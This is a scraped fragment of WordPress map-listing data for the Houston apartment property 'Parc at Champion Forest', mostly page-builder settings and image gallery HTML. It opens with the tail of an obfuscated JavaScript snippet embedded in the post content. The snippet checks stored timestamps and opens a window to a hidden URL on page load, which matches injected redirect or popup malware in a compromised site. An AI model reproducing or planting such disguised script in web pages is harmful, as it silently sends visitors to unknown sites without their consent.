_0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","post_title":"Parc at Champion Forest","post_link":"https:\/\/www.cpicapital.ca\/parc-at-champion-forest\/","post_featured_image":"<div class=\"fc-feature-img\"><img loading=\"lazy\" decoding=\"async\" alt=\"Parc at Champion Forest\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>","post_categories":"Multifamily","post_tags":"","%_et_builder_module_features_cache%":["{\"gph\":-1,\"divi\":\"4.22.2\",\"wp\":\"6.3\",\"tb\":{\"8767\":\"2023-09-25 18:12:30\"},\"wpe\":[]}",{"et_pb_section_c99463dc2d56553b8447ed0e01f881f2":{"mawi":true,"bosh":true,"anim":true},"et_pb_row_10b5944fa3e0e8aa5dadba20084d37e6":{"mawi":true,"bosh":true,"anim":true},"et_pb_column_3ac07f7051032f15bafe7b8adaf21a1b":{"bosh":true,"pos":true,"anim":true},"et_pb_image_4c77eb4b2f6aa3c6385bc86b4d2777f2":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_f43fb6fa0c670065b84b85a221c6a8ed":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_365613a21dc4a5d32262b18fbfa5fea6":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_6897b9510ab96ba2ceb2dfaf7995ca29":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_1525d9f7d6b6b9d41419019bd79828aa":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_3aa19b8eb97f6b30ea455f4b04059997":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_314c0845a8debd2e43c8d4fdefa573fd":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_27696264d4275e6a089b02eabfd42c12":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_69cb0d23f67868ab6ae585530a276129":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_6ffb3196cab50a04817606154e652135":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_38c797878a6e6e5deb5e0d527209fc50":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_bceedeaf9cdfed31e6578ac9cd5954a0":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_e6640b886cff6812607c7e09945049f0":{"bor":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_section_1aa175d0a533b0034597ed02b2c75227":{"mawi":true,"bosh":true,"anim":true},"et_pb_row_db73efc9f09886c3906cf770888640b9":{"mawi":true,"bosh":true,"anim":true},"et_pb_post_title_86a1e3ecf38e084ce31b0dd75d73d340":{"glde":{"title_font_size":"26px","title_letter_spacing":"0px","title_line_height":"1em","meta_font_size":"14","meta_letter_spacing":"0px","meta_line_height":"1em","parallax":"off","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_b07a335691bbbac65a27fc85e29f27ac":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_row_bdc46d28af0035254fce6652fb99b5d1":{"mawi":true,"bosh":true,"anim":true},"et_pb_column_0cbcf1696407061beffcd7c2f6cc2cf0":{"cuma":true,"bosh":true,"pos":true,"mapac":true,"anim":true},"et_pb_text_35bf1c677293dc2bea26e25efbd20418":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_f0f25d757644a47fdca5744a7d0c60ea":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_c1f3e88bb39eedef8c64baa8dc5ecbd1":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_9638b491664a6827fb40ef85e104628e":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_4df0fef3bd1f10bd567a0d665f392492":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_e6dd2730dc23f5b7e29893bd8303ded9":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_aa1decf9e88bd70d6286c14e9e8cd6cc":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_ab22e4515b4eee092c863ffb5ab73d51":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_row_b5d58f8cd2a434cfdf038140e18bb15b":{"mawi":true,"bosh":true,"anim":true},"et_pb_column_20747029d36eeda1b38824278d343ba8":{"bosh":true,"pos":true,"anim":true},"et_pb_text_ff5f2ffe664795ce8d48a349125d4510":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_4bc9c9f7c0dab9acf788ad39e24a4a65":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_5e00dab6cf2527caa92694839597ab4e":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_section_4a381034b4feb7fc3fa12ef0828ff6b0":{"mawi":true,"bosh":true,"anim":true},"et_pb_row_bcc8d8c6f3912451c9021ba296baa819":{"mawi":true,"bosh":true,"anim":true},"et_pb_text_27dcaffa182b1977a51ba84454d4890a":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_section_f0e6cf90b606d4ecc5c83c4364c63be2":{"mawi":true,"bosh":true,"anim":true},"et_pb_row_9180d57c747967169361800cd96741bb":{"mawi":true,"bosh":true,"anim":true},"et_pb_column_9b135b532a4ae7a6b064ff19c1b2cf21":{"bosh":true,"pos":true,"anim":true},"et_pb_text_44495cbced215c5c7bb06df4d105a670":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_button_15d21cb375a57687b142193cdff7abf5":{"tesh":true,"but":true,"bosh":true,"pos":true,"anim":true},"et_pb_section_f8e37c7828511470e0a69fe92655d226":{"mawi":true,"bosh":true,"anim":true},"et_pb_row_447fa4fa005a43b86da3706314823df2":{"mawi":true,"bosh":true,"anim":true},"et_pb_column_7e7a9f5fdc06e94199a0e8ec2d879e43":{"bosh":true,"pos":true,"anim":true},"et_pb_image_798fc0793fdc607683be2b67c89a724c":{"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_74daf0e414b2146e28a146919ce208e5":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_button_f1878c08ec28807a7bf88a182e1694c3":{"tesh":true,"but":true,"bosh":true,"pos":true,"anim":true},"et_pb_section_6556bc103f0a63d8d8170afc834357c4":{"bor":true,"mawi":true,"bosh":true,"anim":true},"et_pb_row_668f50b777b05d0dda6524b6dd0f3233":{"mawi":true,"bosh":true,"anim":true},"et_pb_column_14e9d0fe0917fb26bb911734e5f28f7b":{"bosh":true,"pos":true,"anim":true},"et_pb_image_cbd79d3134612b7f52c09162d6ee984f":{"cuma":true,"mawi":true,"bosh":true,"pos":true,"mapac":true,"anim":true},"et_pb_image_c1e9ac60124576cb57f951568c37272c":{"cuma":true,"mawi":true,"bosh":true,"pos":true,"mapac":true,"anim":true},"et_pb_image_48cab92177ff29783e67649e6542d541":{"cuma":true,"mawi":true,"bosh":true,"pos":true,"mapac":true,"anim":true},"et_pb_image_b49cea95f94af1ff1e052b98df4b8d16":{"cuma":true,"mawi":true,"bosh":true,"pos":true,"mapac":true,"anim":true},"et_pb_row_b2244f9b853aa3a456fd240bb10eed54":{"mawi":true,"bosh":true,"anim":true},"et_pb_text_3a485fe3494f101266d45d9545ac3997":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_91fce9a2ed467cb1802bc1cf1f1a85a8":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_562f97575045a0a85484de8994036269":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_a24624c36ae1ea386defa5687de0d19b":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_social_media_follow_network_14d1e68fdfadbda2a79238afdb263ba1":{"tesh":true,"bosh":true,"pos":true,"anim":true},"et_pb_social_media_follow_network_fe079ca666090f20fac7c072023546f0":{"tesh":true,"bosh":true,"pos":true,"anim":true},"et_pb_social_media_follow_network_26fff70d4ffafed0fa577272f95eeb4a":{"tesh":true,"bosh":true,"pos":true,"anim":true},"et_pb_social_media_follow_network_2507177f79c70a0e17a5e5387214259a":{"tesh":true,"bosh":true,"pos":true,"anim":true},"et_pb_social_media_follow_network_492162a59eb3a2243b0fc30257cd9ece":{"tesh":true,"bosh":true,"pos":true,"anim":true},"et_pb_social_media_follow_0c3eafef7ea92eef4b506f798632bbd5":{"tesh":true,"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_image_d0476441a1581bb22874dab125525227":{"mawi":true,"bosh":true,"pos":true,"anim":true},"et_pb_text_05de76db86b2bd86ca98a94f2d7a8e4c":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"}},"et_pb_section_f4c4e06d013c13921930e74c9f0f8114":{"mawi":true,"bosh":true,"anim":true},"et_pb_row_22e1a9e61c5b373a6a7aed4517c7ddb6":{"cuma":true,"mawi":true,"bosh":true,"mapac":true,"anim":true},"et_pb_column_c0f08b1ca5d08d22471f8ac6f5ba1b0d":{"bosh":true,"pos":true,"anim":true},"et_pb_text_e575cdc0cc32405c522a5e5dbaba09f9":{"glde":{"text_font_size":"14","text_letter_spacing":"0px","text_line_height":"1.7em","header_font_size":"30px","header_letter_spacing":"0px","header_line_height":"1em","background_size":"cover","background_position":"center","background_repeat":"no-repeat","background_blend":"normal"},"foop":true,"tesh":true,"cuma":true,"mawi":true,"bosh":true,"pos":true,"mapac":true,"anim":true}}],"%inline_featured_image%":"0","%_wpgmp_location_address%":"15330 Bammel North Houston Rd, Houston, TX 77014, USA","%_wpgmp_location_city%":"Houston","%_wpgmp_location_state%":"Texas","%_wpgmp_location_country%":"United States","%_wpgmp_metabox_latitude%":"29.9931946","%_wpgmp_metabox_longitude%":"-95.48439909999999","%_wpgmp_metabox_location_redirect%":"marker","%_wpgmp_metabox_custom_link%":"","%_wpgmp_map_id%":"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}","%_wpgmp_metabox_marker_id%":"N;","%_wpgmp_metabox_taxomomies_terms%":"N;","%_wpgmp_extensions_fields%":"N;","%_et_post_bg_color%":"#ffffff","%_et_post_bg_layout%":"light","%_et_pb_show_title%":"off","%_et_pb_post_hide_nav%":"default","%_et_pb_page_layout%":"et_full_width_page","%_et_pb_side_nav%":"off","%_et_pb_use_builder%":"on","%_et_pb_first_image%":"","%_et_pb_truncate_post%":"<p><div class=\"et_pb_section et_pb_section_1 section-location-gallery et_pb_with_background et_section_regular\" >\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t<div class=\"et_pb_row et_pb_row_1 post-carousel\">\n\t\t\t\t<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<div class=\"et_pb_module et_pb_image et_pb_image_2 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion-Forest-1\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12183\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_3 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-8.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_aerials-8\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-8.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-8-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-8-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12306\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_4 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-8.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_pool-8\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-8.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-8-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-8-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12307\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_5 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-001_giirwx.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc_Champion_Forest-poi-001_giirwx\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-001_giirwx.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-001_giirwx-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-001_giirwx-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12308\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_6 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-004_kptydb.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc_Champion_Forest-poi-004_kptydb\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-004_kptydb.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-004_kptydb-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc_Champion_Forest-poi-004_kptydb-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12309\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_7 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-8.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_buildings-8\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-8.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-8-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-8-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12310\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_8 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-2.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_buildings-2\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-2.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-2-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_buildings-2-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12312\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_9 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-1.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_pool-1\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-1.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-1-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_pool-1-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12313\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_10 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_gym-7.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_gym-7\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_gym-7.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_gym-7-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_gym-7-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12314\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_11 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_lounge-4.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_lounge-4\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_lounge-4.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_lounge-4-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_lounge-4-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12315\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_12 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-kitchen-1.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_model-kitchen-1\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-kitchen-1.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-kitchen-1-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-kitchen-1-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12317\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_13 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-living-3.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_model-living-3\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-living-3.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-living-3-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_model-living-3-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-12318\" \/><\/span>\n\t\t\t<\/div><div class=\"et_pb_module et_pb_image et_pb_image_14 et_pb_image_sticky\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t<span class=\"et_pb_image_wrap \"><img width=\"1110\" height=\"741\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-12.jpg\" alt=\"BlueWater Apartment Homes\" title=\"Parc-at-Champion_aerials-12\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion_aerials-12.jpg 1110w, 